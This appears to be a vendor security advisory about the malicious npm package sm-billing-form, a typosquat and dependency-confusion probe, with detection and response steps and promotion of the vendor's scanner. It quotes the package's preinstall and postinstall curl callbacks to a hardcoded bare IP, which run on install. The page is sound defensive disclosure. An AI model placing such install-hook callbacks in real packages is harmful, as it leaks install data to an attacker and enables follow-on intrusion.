sm-billing-formnpm
sm-billing-form is a confirmed malicious npm package (MAL-2026-14395) that typosquats a legitimate package to trick installs (malicious versions 99.0.0, 99.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in sm-billing-form (npm)
What this malware does
package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s http://16.192.173.5/sm-billing-form/post on npm install. The requests target a hardcoded bare-IP endpoint over cleartext HTTP with no relationship to any documented publisher, and fire automatically as part of the default install. The pattern is a dependency-confusion / typosquat probe: the callback confirms to the operator of 16.192.173.5 which environments resolved the public sm-billing-form name and installed it, disclosing source IP and install timing and enabling targeted follow-on attacks against those hosts. The version number (99.0.0) is consistent with a dependency-confusion lure intended to outrank an internal package of the same name.
The OpenSSF Package Analysis project identified 'sm-billing-form' @ 99.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sm-billing-form (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sm-billing-form across your stack and pipelines.
If you installed it — respond
sm-billing-form is a typosquat — you almost certainly intended a legitimately-named package. Remove sm-billing-form, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If sm-billing-form was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks sm-billing-form before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks sm-billing-form-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.